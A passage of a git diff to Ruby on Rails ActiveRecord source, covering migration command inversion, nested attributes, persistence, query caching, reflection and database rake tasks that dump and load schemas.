b/activerecord/lib/active_record/migration/command_recorder.rb index c9d57ce812..ffee5a081a 100644 --- a/activerecord/lib/active_record/migration/command_recorder.rb +++ b/activerecord/lib/active_record/migration/command_recorder.rb @@ -1,12 +1,12 @@ module ActiveRecord class Migration - # ActiveRecord::Migration::CommandRecorder records commands done during - # a migration and knows how to reverse those commands. The CommandRecorder + # <tt>ActiveRecord::Migration::CommandRecorder</tt> records commands done during + # a migration and knows how to reverse those commands. The CommandRecorder # knows how to invert the following commands: # # * add_column # * add_index - # * add_timestamp + # * add_timestamps # * create_table # * remove_timestamps # * rename_column @@ -20,21 +20,21 @@ module ActiveRecord @delegate = delegate end - # record +command+. +command+ should be a method name and arguments. + # record +command+. +command+ should be a method name and arguments. # For example: # - # recorder.record(:method_name, [:arg1, arg2]) + # recorder.record(:method_name, [:arg1, :arg2]) def record(*command) @commands << command end # Returns a list that represents commands that are the inverse of the - # commands stored in +commands+. For example: + # commands stored in +commands+. For example: # # recorder.record(:rename_table, [:old, :new]) # recorder.inverse # => [:rename_table, [:new, :old]] # - # This method will raise an IrreversibleMigration exception if it cannot + # This method will raise an +IrreversibleMigration+ exception if it cannot # invert the +commands+. def inverse @commands.reverse.map { |name, args| @@ -48,11 +48,11 @@ module ActiveRecord super || delegate.respond_to?(*args) end - [:create_table, :rename_table, :add_column, :remove_column, :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, :change_column, :change_column_default].each do |method| + [:create_table, :change_table, :rename_table, :add_column, :remove_column, :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, :change_column, :change_column_default].each do |method| class_eval <<-EOV, __FILE__, __LINE__ + 1 - def #{method}(*args) - record(:"#{method}", args) - end + def #{method}(*args) # def create_table(*args) + record(:"#{method}", args) # record(:create_table, args) + end # end EOV end @@ -71,7 +71,7 @@ module ActiveRecord end def invert_rename_index(args) - [:rename_index, args.reverse] + [:rename_index, [args.first] + args.last(2).reverse] end def invert_rename_column(args) @@ -79,8 +79,10 @@ module ActiveRecord end def invert_add_index(args) - table, columns, _ = *args - [:remove_index, [table, {:column => columns}]] + table, columns, options = *args + index_name = options.try(:[], :name) + options_hash = index_name ? {:name => index_name} : {:column => columns} + [:remove_index, [table, options_hash]] end def invert_remove_timestamps(args) diff --git a/activerecord/lib/active_record/named_scope.rb b/activerecord/lib/active_record/named_scope.rb index 588f52be44..0313abe456 100644 --- a/activerecord/lib/active_record/named_scope.rb +++ b/activerecord/lib/active_record/named_scope.rb @@ -17,7 +17,7 @@ module ActiveRecord # posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects # # fruits = Fruit.scoped - # fruits = fruits.where(:colour => 'red') if options[:red_only] + # fruits = fruits.where(:color => 'red') if options[:red_only] # fruits = fruits.limit(10) if limited? # # Anonymous \scopes tend to be useful when procedurally generating complex @@ -40,6 +40,25 @@ module ActiveRecord end end + ## + # Collects attributes from scopes that should be applied when creating + # an AR instance for the particular class this is called on. + def scope_attributes # :nodoc: + if current_scope + current_scope.scope_for_create + else + scope = relation.clone + scope.default_scoped = true + scope.scope_for_create + end + end + + ## + # Are there default attributes associated with this scope? + def scope_attributes? # :nodoc: + current_scope || default_scopes.any? + end + # Adds a class method for retrieving and querying objects. A \scope represents a narrowing of a database query, # such as <tt>where(:color => :red).select('shirts.*').includes(:washing_instructions)</tt>. # diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb index 08b27b6a8e..d2065d701f 100644 --- a/activerecord/lib/active_record/nested_attributes.rb +++ b/activerecord/lib/active_record/nested_attributes.rb @@ -220,7 +220,7 @@ module ActiveRecord # validates_presence_of :member # end module ClassMethods - REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |_, value| value.blank? } } + REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == '_destroy' || value.blank? } } # Defines an attributes writer for the specified association(s). If you # are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you @@ -239,7 +239,8 @@ module ActiveRecord # is specified, a record will be built for all attribute hashes that # do not have a <tt>_destroy</tt> value that evaluates to true. # Passing <tt>:all_blank</tt> instead of a Proc will create a proc - # that will reject a record where all the attributes are blank. + # that will reject a record where all the attributes are blank excluding + # any value for _destroy. # [:limit] # Allows you to specify the maximum number of the associated records that # can be processed with the nested attributes. If the size of the @@ -277,14 +278,14 @@ module ActiveRecord type = (reflection.collection? ? :collection : :one_to_one) # def pirate_attributes=(attributes) - # assign_nested_attributes_for_one_to_one_association(:pirate, attributes) + # assign_nested_attributes_for_one_to_one_association(:pirate, attributes, mass_assignment_options) # end class_eval <<-eoruby, __FILE__, __LINE__ + 1 if method_defined?(:#{association_name}_attributes=) remove_method(:#{association_name}_attributes=) end def #{association_name}_attributes=(attributes) - assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes) + assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes, mass_assignment_options) end eoruby else @@ -319,21 +320,21 @@ module ActiveRecord # If the given attributes include a matching <tt>:id</tt> attribute, or # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value, # then the existing record will be marked for destruction. - def assign_nested_attributes_for_one_to_one_association(association_name, attributes) + def assign_nested_attributes_for_one_to_one_association(association_name, attributes, assignment_opts = {}) options = self.nested_attributes_options[association_name] attributes = attributes.with_indifferent_access if (options[:update_only] || !attributes['id'].blank?) && (record = send(association_name)) && (options[:update_only] || record.id.to_s == attributes['id'].to_s) - assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes) + assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy], assignment_opts) unless call_reject_if(association_name, attributes) - elsif attributes['id'].present? + elsif attributes['id'].present? && !assignment_opts[:without_protection] raise_nested_attributes_record_not_found(association_name, attributes['id']) elsif !reject_new_record?(association_name, attributes) method = "build_#{association_name}" if respond_to?(method) - send(method, attributes.except(*UNASSIGNABLE_KEYS)) + send(method, attributes.except(*unassignable_keys(assignment_opts)), assignment_opts) else raise ArgumentError, "Cannot build association #{association_name}. Are you trying to build a polymorphic one-to-one association?" end @@ -367,7 +368,7 @@ module ActiveRecord # { :name => 'John' }, # { :id => '2', :_destroy => true } # ]) - def assign_nested_attributes_for_collection_association(association_name, attributes_collection) + def assign_nested_attributes_for_collection_association(association_name, attributes_collection, assignment_opts = {}) options = self.nested_attributes_options[association_name] unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array) @@ -383,7 +384,7 @@ module ActiveRecord attributes_collection = if keys.include?('id') || keys.include?(:id) Array.wrap(attributes_collection) else - attributes_collection.sort_by { |i, _| i.to_i }.map { |_, attributes| attributes } + attributes_collection.values end end @@ -401,7 +402,7 @@ module ActiveRecord if attributes['id'].blank? unless reject_new_record?(association_name, attributes) - association.build(attributes.except(*UNASSIGNABLE_KEYS)) + association.build(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts) end elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s } unless association.loaded? || call_reject_if(association_name, attributes) @@ -418,8 +419,10 @@ module ActiveRecord end if !call_reject_if(association_name, attributes) - assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy]) + assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy], assignment_opts) end + elsif assignment_opts[:without_protection] + association.build(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts) else raise_nested_attributes_record_not_found(association_name, attributes['id']) end @@ -428,8 +431,8 @@ module ActiveRecord # Updates a record with the +attributes+ or marks it for destruction if # +allow_destroy+ is +true+ and has_destroy_flag? returns +true+. - def assign_to_or_mark_for_destruction(record, attributes, allow_destroy) - record.attributes = attributes.except(*UNASSIGNABLE_KEYS) + def assign_to_or_mark_for_destruction(record, attributes, allow_destroy, assignment_opts) + record.assign_attributes(attributes.except(*unassignable_keys(assignment_opts)), assignment_opts) record.mark_for_destruction if has_destroy_flag?(attributes) && allow_destroy end @@ -458,5 +461,9 @@ module ActiveRecord def raise_nested_attributes_record_not_found(association_name, record_id) raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}" end + + def unassignable_keys(assignment_opts) + assignment_opts[:without_protection] ? UNASSIGNABLE_KEYS - %w[id] : UNASSIGNABLE_KEYS + end end end diff --git a/activerecord/lib/active_record/observer.rb b/activerecord/lib/active_record/observer.rb index c723436330..fdf17c003c 100644 --- a/activerecord/lib/active_record/observer.rb +++ b/activerecord/lib/active_record/observer.rb @@ -11,7 +11,7 @@ module ActiveRecord # # class CommentObserver < ActiveRecord::Observer # def after_save(comment) - # Notifications.deliver_comment("admin@do.com", "New comment was posted", comment) + # Notifications.comment("admin@do.com", "New comment was posted", comment).deliver # end # end # @@ -111,7 +111,7 @@ module ActiveRecord callback_meth = :"_notify_#{observer_name}_for_#{callback}" unless klass.respond_to?(callback_meth) klass.send(:define_method, callback_meth) do |&block| - observer.send(callback, self, &block) + observer.update(callback, self, &block) end klass.send(callback, callback_meth) end diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb index b9041f44d8..5e65e46a7d 100644 --- a/activerecord/lib/active_record/persistence.rb +++ b/activerecord/lib/active_record/persistence.rb @@ -33,7 +33,11 @@ module ActiveRecord # +save+ returns +false+. See ActiveRecord::Callbacks for further # details. def save(*) - create_or_update + begin + create_or_update + rescue ActiveRecord::RecordInvalid + false + end end # Saves the model. @@ -75,6 +79,8 @@ module ActiveRecord # Deletes the record in the database and freezes this instance to reflect # that no changes should be made (since they can't be persisted). def destroy + destroy_associations + if persisted? IdentityMap.remove(self) if IdentityMap.enabled? pk = self.class.primary_key @@ -133,6 +139,8 @@ module ActiveRecord # * Callbacks are skipped. # * updated_at/updated_on column is not updated if that column is available. # + # Raises an +ActiveRecordError+ when called on new objects, or when the +name+ + # attribute is marked as readonly. def update_column(name, value) name = name.to_s raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name) @@ -273,11 +281,16 @@ module ActiveRecord @changed_attributes.except!(*changes.keys) primary_key = self.class.primary_key - self.class.update_all(changes, { primary_key => self[primary_key] }) == 1 + self.class.unscoped.update_all(changes, { primary_key => self[primary_key] }) == 1 end end private + + # A hook to be overridden by association modules. + def destroy_associations + end + def create_or_update raise ReadOnlyRecord if readonly? result = new_record? ? create : update @@ -291,7 +304,7 @@ module ActiveRecord return 0 if attributes_with_values.empty? klass = self.class stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id)).arel.compile_update(attributes_with_values) - klass.connection.update stmt.to_sql + klass.connection.update stmt end # Creates a record with values matching those of the instance attributes @@ -301,7 +314,7 @@ module ActiveRecord new_id = self.class.unscoped.insert attributes_values - self.id ||= new_id + self.id ||= new_id if self.class.primary_key IdentityMap.add(self) if IdentityMap.enabled? @new_record = false @@ -313,9 +326,7 @@ module ActiveRecord # that a new instance, or one populated from a passed-in Hash, still has all the attributes # that instances loaded from the database would. def attributes_from_column_definition - Hash[self.class.columns.map do |column| - [column.name, column.default] - end] + self.class.column_defaults.dup end end end diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb index 4e61671473..466d148901 100644 --- a/activerecord/lib/active_record/query_cache.rb +++ b/activerecord/lib/active_record/query_cache.rb @@ -28,9 +28,18 @@ module ActiveRecord end class BodyProxy # :nodoc: - def initialize(original_cache_value, target) + def initialize(original_cache_value, target, connection_id) @original_cache_value = original_cache_value @target = target + @connection_id = connection_id + end + + def method_missing(method_sym, *arguments, &block) + @target.send(method_sym, *arguments, &block) + end + + def respond_to?(method_sym, include_private = false) + super || @target.respond_to?(method_sym) end def each(&block) @@ -40,6 +49,7 @@ module ActiveRecord def close @target.close if @target.respond_to?(:close) ensure + ActiveRecord::Base.connection_id = @connection_id ActiveRecord::Base.connection.clear_query_cache unless @original_cache_value ActiveRecord::Base.connection.disable_query_cache! @@ -52,7 +62,13 @@ module ActiveRecord ActiveRecord::Base.connection.enable_query_cache! status, headers, body = @app.call(env) - [status, headers, BodyProxy.new(old, body)] + [status, headers, BodyProxy.new(old, body, ActiveRecord::Base.connection_id)] + rescue Exception => e + ActiveRecord::Base.connection.clear_query_cache + unless old + ActiveRecord::Base.connection.disable_query_cache! + end + raise e end end end diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb index bae2ded244..47133e77e8 100644 --- a/activerecord/lib/active_record/railtie.rb +++ b/activerecord/lib/active_record/railtie.rb @@ -29,8 +29,8 @@ module ActiveRecord # When loading console, force ActiveRecord::Base to be loaded # to avoid cross references when loading a constant for the # first time. Also, make it output to STDERR. - console do |sandbox| - require "active_record/railties/console_sandbox" if sandbox + console do |app| + require "active_record/railties/console_sandbox" if app.sandbox? ActiveRecord::Base.logger = Logger.new(STDERR) end diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb index fb3fd34665..c5db9b4625 100644 --- a/activerecord/lib/active_record/railties/controller_runtime.rb +++ b/activerecord/lib/active_record/railties/controller_runtime.rb @@ -32,7 +32,9 @@ module ActiveRecord def append_info_to_payload(payload) super - payload[:db_runtime] = db_runtime + if ActiveRecord::Base.connected? + payload[:db_runtime] = (db_runtime || 0) + ActiveRecord::LogSubscriber.reset_runtime + end end module ClassMethods diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake index 85ad43b35f..44848b3391 100644 --- a/activerecord/lib/active_record/railties/databases.rake +++ b/activerecord/lib/active_record/railties/databases.rake @@ -27,7 +27,7 @@ db_namespace = namespace :db do # # development: # database: blog_development - # <<: *defaults + # *defaults next unless config['database'] # Only connect to local databases local_database?(config) { create_database(config) } @@ -37,11 +37,13 @@ db_namespace = namespace :db do desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)' task :create => :load_config do - # Make the test database at the same time as the development one, if it exists - if Rails.env.development? && ActiveRecord::Base.configurations['test'] - create_database(ActiveRecord::Base.configurations['test']) - end - create_database(ActiveRecord::Base.configurations[Rails.env]) + configs_for_environment.each { |config| create_database(config) } + end + + def mysql_creation_options(config) + @charset = ENV['CHARSET'] || 'utf8' + @collation = ENV['COLLATION'] || 'utf8_unicode_ci' + {:charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation)} end def create_database(config) @@ -67,9 +69,6 @@ db_namespace = namespace :db do rescue case config['adapter'] when /mysql/ - @charset = ENV['CHARSET'] || 'utf8' - @collation = ENV['COLLATION'] || 'utf8_unicode_ci' - creation_options = {:charset => (config['charset'] || @charset), :collation => (config['collation'] || @collation)} if config['adapter'] =~ /jdbc/ #FIXME After Jdbcmysql gives this class require 'active_record/railties/jdbcmysql_error' @@ -80,7 +79,7 @@ db_namespace = namespace :db do access_denied_error = 1045 begin ActiveRecord::Base.establish_connection(config.merge('database' => nil)) - ActiveRecord::Base.connection.create_database(config['database'], creation_options) + ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config)) ActiveRecord::Base.establish_connection(config) rescue error_class => sqlerr if sqlerr.errno == access_denied_error @@ -91,7 +90,7 @@ db_namespace = namespace :db do "IDENTIFIED BY '#{config['password']}' WITH GRANT OPTION;" ActiveRecord::Base.establish_connection(config.merge( 'database' => nil, 'username' => 'root', 'password' => root_password)) - ActiveRecord::Base.connection.create_database(config['database'], creation_options) + ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config)) ActiveRecord::Base.connection.execute grant_statement ActiveRecord::Base.establish_connection(config) else @@ -112,7 +111,8 @@ db_namespace = namespace :db do end end else - $stderr.puts "#{config['database']} already exists" + # Bug with 1.9.2 Calling return within begin still executes else + $stderr.puts "#{config['database']} already exists" unless config['adapter'] =~ /sqlite/ end end @@ -134,12 +134,7 @@ db_namespace = namespace :db do desc 'Drops the database for the current Rails.env (use db:drop:all to drop all databases)' task :drop => :load_config do - config = ActiveRecord::Base.configurations[Rails.env || 'development'] - begin - drop_database(config) - rescue Exception => e - $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}" - end + configs_for_environment.each { |config| drop_database_and_rescue(config) } end def local_database?(config, &block) @@ -199,11 +194,13 @@ db_namespace = namespace :db do end db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}") file_list = [] - Dir.foreach(File.join(Rails.root, 'db', 'migrate')) do |file| - # only files matching "20091231235959_some_name.rb" pattern - if match_data = /^(\d{14})_(.+)\.rb$/.match(file) - status = db_list.delete(match_data[1]) ? 'up' : 'down' - file_list << [status, match_data[1], match_data[2].humanize] + ActiveRecord::Migrator.migrations_paths.each do |path| + Dir.foreach(path) do |file| + # only files matching "20091231235959_some_name.rb" pattern + if match_data = /^(\d{14})_(.+)\.rb$/.match(file) + status = db_list.delete(match_data[1]) ? 'up' : 'down' + file_list << [status, match_data[1], match_data[2].humanize] + end end end db_list.map! do |version| @@ -282,7 +279,7 @@ db_namespace = namespace :db do pending_migrations.each do |pending_migration| puts ' %4d %s' % [pending_migration.version, pending_migration.name] end - abort %{Run "rake db:migrate" to update your database then try again.} + abort %{Run `rake db:migrate` to update your database then try again.} end end end @@ -296,7 +293,7 @@ db_namespace = namespace :db do end namespace :fixtures do - desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures." + desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures." task :load => :environment do require 'active_record/fixtures' @@ -335,9 +332,11 @@ db_namespace = namespace :db do namespace :schema do desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR' - task :dump => :load_config do + task :dump => [:environment, :load_config] do require 'active_record/schema_dumper' - File.open(ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb", "w") do |file| + filename = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb" + File.open(filename, "w:utf-8") do |file| + ActiveRecord::Base.establish_connection(Rails.env) ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file) end db_namespace['schema:dump'].reenable @@ -349,7 +348,7 @@ db_namespace = namespace :db do if File.exists?(file) load(file) else - abort %{#{file} doesn't exist yet. Run "rake db:migrate" to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded} + abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded} end end end @@ -368,7 +367,7 @@ db_namespace = namespace :db do ENV['PGPASSWORD'] = abcs[Rails.env]['password'].to_s if abcs[Rails.env]['password'] search_path = abcs[Rails.env]['schema_search_path'] unless search_path.blank? - search_path = search_path.split(",").map{|search_path| "--schema=#{search_path.strip}" }.join(" ") + search_path = search_path.split(",").map{|search_path_part| "--schema=#{search_path_part.strip}" }.join(" ") end `pg_dump -i -U "#{abcs[Rails.env]['username']}" -s -x -O -f db/#{Rails.env}_structure.sql #{search_path} #{abcs[Rails.env]['database']}` raise 'Error dumping database' if $?.exitstatus == 1 @@ -376,8 +375,7 @@ db_namespace = namespace :db do dbfile = abcs[Rails.env]['database'] || abcs[Rails.env]['dbfile'] `sqlite3 #{dbfile} .schema > db/#{Rails.env}_structure.sql` when 'sqlserver' - `scptxfr /s #{abcs[Rails.env]['host']} /d #{abcs[Rails.env]['database']} /I /f db\\#{Rails.env}_structure.sql /q /A /r` - `scptxfr /s #{abcs[Rails.env]['host']} /d #{abcs[Rails.env]['database']} /I /F db\ /q /A /r` + `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f db\\#{Rails.env}_structure.sql -A -U` when "firebird" set_firebird_env(abcs[Rails.env]) db_string = firebird_db_string(abcs[Rails.env]) @@ -417,12 +415,12 @@ db_namespace = namespace :db do ENV['PGHOST'] = abcs['test']['host'] if abcs['test']['host'] ENV['PGPORT'] = abcs['test']['port'].to_s if abcs['test']['port'] ENV['PGPASSWORD'] = abcs['test']['password'].to_s if abcs['test']['password'] - `psql -U "#{abcs['test']['username']}" -f #{Rails.root}/db/#{Rails.env}_structure.sql #{abcs['test']['database']} #{abcs['test']['template']}` + `psql -U "#{abcs['test']['username']}" -f "#{Rails.root}/db/#{Rails.env}_structure.sql" #{abcs['test']['database']} #{abcs['test']['template']}` when /sqlite/ dbfile = abcs['test']['database'] || abcs['test']['dbfile'] - `sqlite3 #{dbfile} < #{Rails.root}/db/#{Rails.env}_structure.sql` + `sqlite3 #{dbfile} < "#{Rails.root}/db/#{Rails.env}_structure.sql"` when 'sqlserver' - `osql -E -S #{abcs['test']['host']} -d #{abcs['test']['database']} -i db\\#{Rails.env}_structure.sql` + `sqlcmd -S #{abcs['test']['host']} -d #{abcs['test']['database']} -U #{abcs['test']['username']} -P #{abcs['test']['password']} -i db\\#{Rails.env}_structure.sql` when 'oci', 'oracle' ActiveRecord::Base.establish_connection(:test) IO.readlines("#{Rails.root}/db/#{Rails.env}_structure.sql").join.split(";\n\n").each do |ddl| @@ -443,7 +441,7 @@ db_namespace = namespace :db do case abcs['test']['adapter'] when /mysql/ ActiveRecord::Base.establish_connection(:test) - ActiveRecord::Base.connection.recreate_database(abcs['test']['database'], abcs['test']) + ActiveRecord::Base.connection.recreate_database(abcs['test']['database'], mysql_creation_options(abcs['test'])) when /postgresql/ ActiveRecord::Base.clear_active_connections! drop_database(abcs['test']) @@ -452,9 +450,11 @@ db_namespace = namespace :db do dbfile = abcs['test']['database'] || abcs['test']['dbfile'] File.delete(dbfile) if File.exist?(dbfile) when 'sqlserver' - dropfkscript = "#{abcs['test']['host']}.#{abcs['test']['database']}.DP1".gsub(/\\/,'-') - `osql -E -S #{abcs['test']['host']} -d #{abcs['test']['database']} -i db\\#{dropfkscript}` - `osql -E -S #{abcs['test']['host']} -d #{abcs['test']['database']} -i db\\#{Rails.env}_structure.sql` + test = abcs.deep_dup['test'] + test_database = test['database'] + test['database'] = 'master' + ActiveRecord::Base.establish_connection(test) + ActiveRecord::Base.connection.recreate_database!(test_database) when "oci", "oracle" ActiveRecord::Base.establish_connection(:test) ActiveRecord::Base.connection.structure_drop.split(";\n\n").each do |ddl| @@ -480,8 +480,7 @@ db_namespace = namespace :db do # desc "Creates a sessions migration for use with ActiveRecord::SessionStore" task :create => :environment do raise 'Task unavailable to this database (no migration support)' unless ActiveRecord::Base.connection.supports_migrations? - require 'rails/generators' - Rails::Generators.configure! + Rails.application.load_generators require 'rails/generators/rails/session_migration/session_migration_generator' Rails::Generators::SessionMigrationGenerator.start [ ENV['MIGRATION'] || 'add_sessions_table' ] end @@ -498,7 +497,7 @@ namespace :railties do # desc "Copies missing migrations from Railties (e.g. plugins, engines). You can specify Railties to use with FROM=railtie1,railtie2" task :migrations => :'db:load_config' do to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map {|n| n.strip } - railties = {} + railties = ActiveSupport::OrderedHash.new Rails.application.railties.all do |railtie| next unless to_load == :all || to_load.include?(railtie.railtie_name) @@ -540,6 +539,20 @@ def drop_database(config) end end +def drop_database_and_rescue(config) + begin + drop_database(config) + rescue Exception => e + $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}" + end +end + +def configs_for_environment + environments = [Rails.env] + environments << 'test' if Rails.env.development? + ActiveRecord::Base.configurations.values_at(*environments).compact.reject { |config| config['database'].blank? } +end + def session_table_name ActiveRecord::SessionStore::Session.table_name end diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb index bcba85d7a4..98f0418d3f 100644 --- a/activerecord/lib/active_record/reflection.rb +++ b/activerecord/lib/active_record/reflection.rb @@ -1,5 +1,4 @@ require 'active_support/core_ext/class/attribute' -require 'active_support/core_ext/module/deprecation' require 'active_support/core_ext/object/inclusion' module ActiveRecord @@ -81,12 +80,6 @@ module ActiveRecord # Abstract base class for AggregateReflection and AssociationReflection. Objects of # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods. class MacroReflection - attr_reader :active_record - - def initialize(macro, name, options, active_record) - @macro, @name, @options, @active_record = macro, name, options, active_record - end - # Returns the name of the macro. # # <tt>composed_of :balance, :class_name => 'Money'</tt> returns <tt>:balance</tt> @@ -105,6 +98,19 @@ module ActiveRecord # <tt>has_many :clients</tt> returns +{}+ attr_reader :options + attr_reader :active_record + + attr_reader :plural_name # :nodoc: + + def initialize(macro, name, options, active_record) + @macro = macro + @name = name + @options = options + @active_record = active_record + @plural_name = active_record.pluralize_table_names ? + name.to_s.pluralize : name.to_s + end + # Returns the class for the macro. # # <tt>composed_of :balance, :class_name => 'Money'</tt> returns the Money class @@ -124,7 +130,11 @@ module ActiveRecord # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute, # and +other_aggregation+ has an options hash assigned to it. def ==(other_aggregation) - other_aggregation.kind_of?(self.class) && name == other_aggregation.name && other_aggregation.options && active_record == other_aggregation.active_record + super || + other_aggregation.kind_of?(self.class) && + name == other_aggregation.name && + other_aggregation.options && + active_record == other_aggregation.active_record end def sanitized_conditions #:nodoc: @@ -169,25 +179,8 @@ module ActiveRecord # Returns a new, unsaved instance of the associated class. +options+ will # be passed to the class's constructor. - def build_association(*options) - klass.new(*options) - end - - # Creates a new instance of the associated class, and immediately saves it - # with ActiveRecord::Base#save. +options+ will be passed to the class's - # creation method. Returns the newly created object. - def create_association(*options) - klass.create(*options) - end - - # Creates a new instance of the associated class, and immediately saves it - # with ActiveRecord::Base#save!. +options+ will be passed to the class's - # creation method. If the created record doesn't pass validations, then an - # exception will be raised. - # - # Returns the newly created object. - def create_association!(*options) - klass.create!(*options) + def build_association(*options, &block) + klass.new(*options, &block) end def table_name @@ -202,17 +195,12 @@ module ActiveRecord @foreign_key ||= options[:foreign_key] || derive_foreign_key end - def primary_key_name - foreign_key - end - deprecate :primary_key_name => :foreign_key - def foreign_type @foreign_type ||= options[:foreign_type] || "#{name}_type" end def type - @type ||= "#{options[:as]}_type" + @type ||= options[:as] && "#{options[:as]}_type" end def primary_key_column @@ -223,22 +211,20 @@ module ActiveRecord @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key end - def association_primary_key - @association_primary_key ||= - options[:primary_key] || - !options[:polymorphic] && klass.primary_key || - 'id' + # klass option is necessary to support loading polymorphic associations + def association_primary_key(klass = nil) + options[:primary_key] || primary_key(klass || self.klass) end def active_record_primary_key - @active_record_primary_key ||= options[:primary_key] || active_record.primary_key + @active_record_primary_key ||= options[:primary_key] || primary_key(active_record) end def counter_cache_column if options[:counter_cache] == true "#{active_record.name.demodulize.underscore.pluralize}_count" elsif options[:counter_cache] - options[:counter_cache] + options[:counter_cache].to_s end end @@ -280,9 +266,7 @@ module ActiveRecord # in the #chain. The inside arrays are simply conditions (and each condition may itself be # a hash, array, arel predicate, etc...) def conditions - conditions = [options[:conditions]].compact - conditions << { type => active_record.base_class.name } if options[:as] - [conditions] + [[options[:conditions]].compact] end alias :source_macro :macro @@ -373,14 +357,19 @@ module ActiveRecord active_record.name.foreign_key end end + + def primary_key(klass) + klass.primary_key || raise(UnknownPrimaryKey.new(klass)) + end end # Holds all the meta-data about a :through association as it was specified # in the Active Record class. class ThroughReflection < AssociationReflection #:nodoc: - delegate :foreign_key, :foreign_type, :association_foreign_key, :active_record_primary_key, :to => :source_reflection + delegate :foreign_key, :foreign_type, :association_foreign_key, + :active_record_primary_key, :type, :to => :source_reflection - # Gets the source of the through reflection. It checks both a singularized + # Gets the source of the through reflection. It checks both a singularized # and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>. # # class Post < ActiveRecord::Base @@ -444,7 +433,7 @@ module ActiveRecord # of relevant reflections, plus any :source_type or polymorphic :as constraints. def conditions @conditions ||= begin - conditions = source_reflection.conditions + conditions = source_reflection.conditions.map { |c| c.dup } # Add to it the conditions from this reflection if necessary. conditions.first << options[:conditions] if options[:conditions] @@ -476,17 +465,15 @@ module ActiveRecord # We want to use the klass from this reflection, rather than just delegate straight to # the source_reflection, because the source_reflection may be polymorphic. We still # need to respect the source_reflection's :primary_key option, though. - def association_primary_key - @association_primary_key ||= begin - # Get the "actual" source reflection if the immediate source reflection has a - # source reflection itself - source_reflection = self.source_reflection - while source_reflection.source_reflection - source_reflection = source_reflection.source_reflection - end - - source_reflection.options[:primary_key] || klass.primary_key + def association_primary_key(klass = nil) + # Get the "actual" source reflection if the immediate source reflection has a + # source reflection itself + source_reflection = self.source_reflection + while source_reflection.source_reflection + source_reflection = source_reflection.source_reflection end + + source_reflection.options[:primary_key] || primary_key(klass || self.klass) end # Gets an array of possible <tt>:through</tt> source reflection names: diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb index ae9afad48a..ecefaa633c 100644 --- a/activerecord/lib/active_record/relation.rb +++ b/activerecord/lib/active_record/relation.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/module/delegation' module ActiveRecord # = Active Record Relation @@ -6,13 +7,13 @@ module ActiveRecord JoinOperation = Struct.new(:relation, :join_class, :on) ASSOCIATION_METHODS = [:includes, :eager_load, :preload] MULTI_VALUE_METHODS = [:select, :group, :order, :joins, :where, :having, :bind] - SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :create_with, :from, :reorder] + SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order] include FinderMethods, 